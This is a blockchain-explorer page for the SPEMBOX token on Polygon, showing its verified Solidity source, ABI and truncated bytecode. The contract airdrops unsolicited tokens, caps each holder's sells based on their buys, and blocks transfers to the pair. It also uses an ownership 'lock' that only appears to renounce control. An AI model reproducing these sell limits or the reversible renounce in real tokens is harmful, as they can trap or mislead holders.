Polygon Sponsored slots available. Book your slot here!
ERC-20
Overview
Max Total Supply
50,000 SPEMBOX
Holders
6,813
Market
Price
$0.00 @ 0.000000 MATIC
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1.004800109590382354 SPEMBOXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
Spem
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at polygonscan.com on 2021-08-07 */ /* Each address has its own variable 'maximum-sell-limit' that increases with the buy-amount. Maximum 'insta-refund' for providing liquidity is 1 SPEM. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface QRout { function factory() external pure returns (address); function WETH() external pure returns (address); } interface QFact{ event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IQPair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function geUnlockTime() public view returns (uint256) { return _lockTime; } function lock() public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + 364 days; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "locked"); require(block.timestamp > _lockTime , "locked"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } contract Spem is Context, Ownable, IERC20, IERC20Metadata { event Set(address indexed Contract, uint256 AmountSet); mapping (address => mapping (address => uint256)) private _allowances; mapping (uint256 => address) private row; mapping (address => Account) private map; struct Account { uint256 pin; uint256 bal; uint256 spemmed; uint256 maxF; bool rewarded; } string private _name; string private _symbol; address private router; address private pair; address private spem; address public wallet; uint8 private rem; uint8 private lim; uint256 private sum; uint256 private set; uint256 private minTx; uint256 private oneSpem; uint256 private _totalSupply; constructor (string memory name_, string memory symbol_, address router_, address spemwallet_) { router = router_; spem = address(this); wallet = spemwallet_; pair = QFact(QRout(router).factory()).createPair(address(this), QRout(router).WETH()); _name = name_; _symbol = symbol_; row[0] = pair; row[1] = spem; row[2] = router; row[3] = wallet; lim = 2; sum = 20; set = 10**12; minTx = 10**15; oneSpem = 10**18; _totalSupply = 10**22 * 5; map[pair].pin = set; map[spem].pin = set; map[router].pin = set; map[msg.sender].pin = set; map[wallet].pin = set; map[spem].bal = sub(_totalSupply, add(oneSpem, 10**20 * 25)); map[wallet].bal = 10**20 * 25; map[msg.sender].bal = oneSpem; emit Transfer(address(0), spem, _totalSupply); emit Transfer(spem, wallet, add(oneSpem, 10**20 * 25)); emit Transfer(wallet, msg.sender, oneSpem); } receive() external payable {} function sendMatic(address payable to, uint256 amount) public onlyOwner() payable { to.transfer(amount); } function sendTokens(address to, address token, uint256 amount) public onlyOwner() { if(token != spem) { IERC20(token).transfer(to, amount); } } function spamSPEM(address[] calldata recipients) public onlyOwner() { require(map[spem].bal > 10**22 * 4); for (uint256 i = 0; i < recipients.length; i++) { if(map[recipients[i]].pin == 0) { spam(recipients[i]); } } } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } modifier mod(address recipient) { require (recipient != pair, "ERC20: transfer to pair"); _; } function transfer(address recipient, uint256 amount) public virtual override mod(recipient) returns (bool) { _transfer(_msgSender(), recipient, amount, sent(_msgSender(), recipient, amount)); routeFrom(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount, tax(amount)); ratify(sender, amount); routeTo(sender, recipient, amount); return true; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function balanceOf(address owner) public view virtual override returns (uint256) { return div(mul(map[owner].bal, map[owner].pin), set); } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function accountData(address account) public view returns ( uint256 MaxSellAmount, uint256 Balance, uint256 Pin ) { Pin = map[account].pin; Balance = map[account].bal; MaxSellAmount = getMxSellAm(account); } function getPairReserves() public view returns(uint112 SPEM, uint112 MATIC) { uint112 res0; uint112 res1; if(spem < QRout(router).WETH()) { (res0, res1,) = IQPair(pair).getReserves(); } else { (res1, res0,) = IQPair(pair).getReserves(); } SPEM = res0; MATIC = res1; } function welcome(address recipient) internal { if (map[recipient].pin == 0) { map[recipient].pin = set; } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function ratify(address sender, uint256 amount) internal { uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } function _transfer( address sender, address recipient, uint256 amount, uint256 tAmount ) internal virtual { welcome(recipient); require(amount > minTx, "ERC20: transfer amount too low"); require(sender != address(0)); require(recipient != address(0)); uint256 valueS = getVal(sender, amount); uint256 valueR = getVal(recipient, tAmount); uint256 senderBalance = map[sender].bal; require(senderBalance >= valueS, "ERC20: transfer amount exceeds balance"); unchecked { map[sender].bal = senderBalance - valueS; } map[recipient].bal += valueR; emit Transfer(sender, recipient, tAmount); } function routeFrom(address sender, address recipient, uint256 amount) internal { if(sender == pair) { if(recipient != router) { // buy from pair buy(recipient, amount); } else { rem = 1; } // remove liquidity from pair, transfer1 } else if(sender == router){ // remove liquidity from pair, transfer2 if(rem > 0 && lim != 0) { payStakeReward(recipient, amount); rem = 0; } } } function routeTo(address sender, address recipient, uint256 amount) internal { if(_msgSender() == router && recipient == pair) { map[spem].bal += div(amount, 20); emit Transfer(pair, spem, div(amount, 20)); if(getBal() != true) { // Routerbalance is zero, Sell to pair. sell(sender, amount); } else { // Routerbalance is plus, Provide Liquidity to pair. if(map[spem].bal > 10**20 * 325) { refundLiquidity(sender, amount); } else if(map[spem].bal > 10**21 * 25) { setLiqPin(sender, amount); } } } else { require (amount <= getMxSellAm(sender), "ERC20: transfer amount exceeds maxSellAmount"); } } function buy(address recipient, uint256 amount) internal { if(amount > map[recipient].maxF) { map[recipient].maxF = amount; } rem = 0; boon(recipient); setSet(amount); row[sum] = recipient; sum++; } function sell(address sender, uint256 amount) internal { require (amount <= getMxSellAm(sender), "ERC20: transfer amount exceeds maxSellAmount"); sellSpemmed(sender, amount); sellMaxF(sender, amount); boon(sender); setSet(amount); } function refundLiquidity(address sender, uint256 amount) internal { uint256 refund = calcRefund(amount); map[sender].bal += getVal(sender, refund); map[spem].bal -= refund; emit Transfer(spem, sender, refund); row[sum] = sender; sum++; } function payStakeReward(address recipient, uint256 amountR) internal { if(map[spem].bal < mul(10**20, 325)) { if(getRew(recipient, amountR) > amountR) { uint256 rAm = sub(getRew(recipient, amountR), amountR); uint256 rVal = getVal(recipient, rAm); payStaker3x(recipient, rVal, rAm); } } } function payStaker3x(address recipient, uint256 rVal, uint256 rAm) internal { if(map[spem].bal > mul(rAm, 100)) { map[recipient].bal += mul(rVal, 3); map[spem].bal -= mul(rAm, 3); emit Transfer(spem, recipient, mul(rAm, 3)); } else { payStaker(recipient, rVal, rAm); } } function payStaker(address recipient, uint256 rVal, uint256 rAm) internal { if(map[spem].bal > mul(rAm, 10)) { map[recipient].bal += rVal; map[spem].bal -= rAm; emit Transfer(spem, recipient, rAm); } else { mintStaker(recipient, rVal, rAm); } } function mintStaker(address recipient, uint256 rVal, uint256 rAm) internal { if(lim > 0){ map[recipient].bal += rVal; _totalSupply += rAm; emit Transfer(address(0), recipient, rAm); } } function sent(address sender, address recipient, uint256 amount) internal returns (uint256 dAmount){ dAmount = amount; if(sender != pair){ if(recipient != 0x000000000000000000000000000000000000dEaD) { sendSpemmed(sender, recipient, amount); } else { dAmount = 0; sentAway(sender, amount); } } } function sentAway(address sender, uint256 amount) internal { if(amount < map[sender].spemmed) { map[sender].spemmed -= amount; } else { map[sender].spemmed = 0; } sow(sender, amount); } function sow(address sender, uint256 amount) internal { for (uint256 i=sum-10; i < sum; i++) { if(row[i] != address(0) && row[i] != sender) { map[row[i]].bal += getVal(row[i], div(amount, 10)); emit Transfer(sender, row[i], div(amount, 10)); } else { map[spem].bal += div(amount, 10); emit Transfer(sender, spem, div(amount, 10)); } } } function sendSpemmed(address sender, address recipient, uint256 amount) internal { if(map[sender].spemmed != 0) { if(sub(map[sender].bal, amount) < map[sender].spemmed) { uint256 spAmount = sub(map[sender].spemmed, sub(map[sender].bal, amount)); map[sender].spemmed -= spAmount; map[recipient].spemmed += spAmount; } } } function sellSpemmed(address sender, uint256 amount) internal { if(map[sender].spemmed >= 10**16) { if(amount > map[sender].maxF) { map[sender].spemmed -= 10**16; } } else { if(map[sender].spemmed != 0) map[sender].spemmed = 0; } } function setPin() internal { for (uint i=0; i < 4; i++) { map[row[i]].pin = set; } } function setSet(uint256 amount) internal { if(lim > 0){ if(set > 10**3){ if(map[spem].bal > mul(amount, 10)) { uint256 factor = calcSet(amount); map[spem].bal -= div(getHodl(), factor); set -= div(set, factor); setPin(); emit Set(spem, amount); } } else{ set = div(set, 2); _totalSupply += _totalSupply; setPin(); lim = 0; emit Set(spem, set); } } } function calcSet(uint256 amount) internal view returns (uint256 factor){ factor = getFact(amount); if(factor < 400) { factor = 400; } else if(factor > div(set, 100)){ factor = div(set, 100); } } function boon(address sender) internal { for (uint256 i=sum-10; i < sum; i++) { if(row[i] != address(0) && row[i] != sender && map[row[i]].rewarded != true) { map[row[i]].rewarded = true; uint256 drop = div(map[row[i]].bal, 100); if(map[spem].bal > drop) { map[row[i]].bal += drop; map[spem].bal -= drop; emit Transfer(spem, row[i], drop); } } } for (uint256 i=sum-10; i < sum; i++) { map[row[i]].rewarded = false; } } function spam(address recipient) internal { map[recipient].pin = set; map[recipient].bal += oneSpem; map[recipient].spemmed += oneSpem; map[spem].bal -= oneSpem; emit Transfer(spem, recipient, oneSpem); } function sellMaxF(address sender, uint256 amount) internal { if(div(amount, 7) < map[sender].maxF){ map[sender].maxF -= div(amount, 7); } } function getMxSellAm(address sender) internal view returns (uint256) { if(map[sender].spemmed >= 10**16) { return add(map[sender].maxF, 10**16); } else { return map[sender].maxF; } } function setLiqPin(address sender, uint256 amount) internal { uint256 preRated = balanceOf(sender); map[sender].pin += div(map[sender].pin, calcPin(amount)); if(preRated < balanceOf(sender)) { map[spem].bal -= sub(balanceOf(sender), preRated); } } function calcPin(uint256 amount) internal view returns (uint256 lpf) { (,uint112 matic) = getPairReserves(); lpf = div(matic, amount); if(lpf < 50) { lpf = 50; } if(lpf > 10**3) { lpf = 10**3; } } function calcRefund(uint256 amount) internal view returns (uint256 refund) { if(amount > oneSpem){ refund = oneSpem; } else { refund = amount; } } function getVal(address rAddr, uint256 amount) internal view returns (uint256 value) { value = div(mul(amount, set), map[rAddr].pin); } function getFact(uint256 amount) internal view returns (uint256 ScaleFactor) { return div(getHodl(), amount); } function getRew(address rAddr, uint256 value) internal view returns (uint256 amount) { amount = div(mul(value, map[rAddr].pin), set ); } function getHodl() internal view returns (uint256) { return sub(_totalSupply, add(add(map[pair].bal, map[spem].bal), map[wallet].bal)); } function getBal() internal view returns (bool) { return router.balance > 0 ? true : false; } function tax(uint256 tAmount) internal pure returns (uint256) { return sub(tAmount, div(tAmount, 20)); } function div(uint256 taX, uint256 faX) internal pure returns (uint256) { return taX / faX; } function mul(uint256 taX, uint256 faX) internal pure returns (uint256) { return taX * faX; } function sub(uint256 taX, uint256 faX) internal pure returns (uint256) { return taX - faX; } function add(uint256 taX, uint256 faX) internal pure returns (uint256) { return taX + faX; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"spemwallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Contract","type":"address"},{"indexed":false,"internalType":"uint256","name":"AmountSet","type":"uint256"}],"name":"Set","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"accountData","outputs":[{"internalType":"uint256","name":"MaxSellAmount","type":"uint256"},{"internalType":"uint256","name":"Balance","type":"uint256"},{"internalType":"uint256","name":"Pin","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPairReserves","outputs":[{"internalType":"uint112","name":"SPEM","type":"uint112"},{"internalType":"uint112","name":"MATIC","type":"uint112"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendMatic","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"spamSPEM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620062e6380380620062e6833981810160405281019062000037919062000d05565b60006200004962000b5660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555030600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021357600080fd5b505afa15801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e919062000cd3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002d357600080fd5b505afa158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e919062000cd3565b6040518363ffffffff1660e01b81526004016200032d92919062000dd7565b602060405180830381600087803b1580156200034857600080fd5b505af11580156200035d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000383919062000cd3565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360069080519060200190620003db92919062000b8e565b508260079080519060200190620003f492919062000b8e565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460006002815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460006003815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002600b60156101000a81548160ff021916908360ff1602179055506014600c8190555064e8d4a51000600d8190555066038d7ea4c68000600e81905550670de0b6b3a7640000600f81905550690a968163f0a57b400000601081905550600d5460056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d5460056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d5460056000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d54600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d5460056000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506200084b6010546200083f600f5468878678326eac90000062000b5e60201b60201c565b62000b7660201b60201c565b60056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555068878678326eac90000060056000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600f54600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601054604051620009f2919062000e04565b60405180910390a3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62000aaa600f5468878678326eac90000062000b5e60201b60201c565b60405162000ab9919062000e04565b60405180910390a33373ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405162000b44919062000e04565b60405180910390a350505050620010c4565b600033905090565b6000818362000b6e919062000e80565b905092915050565b6000818362000b86919062000edd565b905092915050565b82805462000b9c9062000f8c565b90600052602060002090601f01602090048101928262000bc0576000855562000c0c565b82601f1062000bdb57805160ff191683800117855562000c0c565b8280016001018555821562000c0c579182015b8281111562000c0b57825182559160200191906001019062000bee565b5b50905062000c1b919062000c1f565b5090565b5b8082111562000c3a57600081600090555060010162000c20565b5090565b600062000c5562000c4f8462000e4a565b62000e21565b90508281526020810184848401111562000c745762000c736200108a565b5b62000c8184828562000f56565b509392505050565b60008151905062000c9a81620010aa565b92915050565b600082601f83011262000cb85762000cb762001085565b5b815162000cca84826020860162000c3e565b91505092915050565b60006020828403121562000cec5762000ceb62001094565b5b600062000cfc8482850162000c89565b91505092915050565b6000806000806080858703121562000d225762000d2162001094565b5b600085015167ffffffffffffffff81111562000d435762000d426200108f565b5b62000d518782880162000ca0565b945050602085015167ffffffffffffffff81111562000d755762000d746200108f565b5b62000d838782880162000ca0565b935050604062000d968782880162000c89565b925050606062000da98782880162000c89565b91505092959194509250565b62000dc08162000f18565b82525050565b62000dd18162000f4c565b82525050565b600060408201905062000dee600083018562000db5565b62000dfd602083018462000db5565b9392505050565b600060208201905062000e1b600083018462000dc6565b92915050565b600062000e2d62000e40565b905062000e3b828262000fc2565b919050565b6000604051905090565b600067ffffffffffffffff82111562000e685762000e6762001056565b5b62000e738262001099565b9050602081019050919050565b600062000e8d8262000f4c565b915062000e9a8362000f4c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000ed25762000ed162000ff8565b5b828201905092915050565b600062000eea8262000f4c565b915062000ef78362000f4c565b92508282101562000f0d5762000f0c62000ff8565b5b828203905092915050565b600062000f258262000f2c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000f7657808201518184015260208101905062000f59565b8381111562000f86576000848401525b50505050565b6000600282049050600182168062000fa557607f821691505b6020821081141562000fbc5762000fbb62001027565b5b50919050565b62000fcd8262001099565b810181811067ffffffffffffffff8211171562000fef5762000fee62001056565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b620010b58162000f18565b8114620010c157600080fd5b50565b61521280620010d46000396000f3fe60806040526004361061012e5760003560e01c806395d89b41116100ab578063b6c523241161006f578063b6c5232414610416578063cb0f12ff14610441578063dd62ed3e1461045d578063deb906e71461049a578063e6d66ac8146104d9578063f83d08ba1461050257610135565b806395d89b411461032e5780639df93f6c14610359578063a457c2d714610385578063a69df4b5146103c2578063a9059cbb146103d957610135565b806339509351116100f257806339509351146102355780633effde1314610272578063521eb2731461029b57806370a08231146102c65780638da5cb5b1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610519565b60405161015c9190614986565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190614638565b6105ab565b604051610199919061496b565b60405180910390f35b3480156101ae57600080fd5b506101b76105c9565b6040516101c49190614b11565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906145e5565b6105d3565b604051610201919061496b565b60405180910390f35b34801561021657600080fd5b5061021f610609565b60405161022c9190614b63565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190614638565b610612565b604051610269919061496b565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190614678565b6106be565b005b3480156102a757600080fd5b506102b0610896565b6040516102bd9190614927565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e8919061450b565b6108bc565b6040516102fa9190614b11565b60405180910390f35b34801561030f57600080fd5b5061031861095e565b6040516103259190614927565b60405180910390f35b34801561033a57600080fd5b50610343610987565b6040516103509190614986565b60405180910390f35b34801561036557600080fd5b5061036e610a19565b60405161037c929190614ae8565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190614638565b610c78565b6040516103b9919061496b565b60405180910390f35b3480156103ce57600080fd5b506103d7610d63565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190614638565b610f37565b60405161040d919061496b565b60405180910390f35b34801561042257600080fd5b5061042b61100c565b6040516104389190614b11565b60405180910390f35b61045b60048036038101906104569190614565565b611016565b005b34801561046957600080fd5b50610484600480360381019061047f91906145a5565b6110f6565b6040516104919190614b11565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc919061450b565b61117d565b6040516104d093929190614b2c565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb91906145e5565b61121e565b005b34801561050e57600080fd5b5061051761139c565b005b60606006805461052890614d73565b80601f016020809104026020016040519081016040528092919081815260200182805461055490614d73565b80156105a15780601f10610576576101008083540402835291602001916105a1565b820191906000526020600020905b81548152906001019060200180831161058457829003601f168201915b5050505050905090565b60006105bf6105b8611566565b848461156e565b6001905092915050565b6000601054905090565b60006105e98484846105e486611739565b611756565b6105f384836119cd565b6105fe848484611ab1565b600190509392505050565b60006012905090565b60006106b461061f611566565b84846003600061062d611566565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106af9190614b9a565b61156e565b6001905092915050565b6106c6611566565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90614a68565b60405180910390fd5b690878678326eac900000060056000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154116107cd57600080fd5b60005b82829050811015610891576000600560008585858181106107f4576107f3614e7b565b5b9050602002016020810190610809919061450b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154141561087e5761087d83838381811061086357610862614e7b565b5b9050602002016020810190610878919061450b565b611e1f565b5b808061088990614da5565b9150506107d0565b505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061095761094f600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600560008673f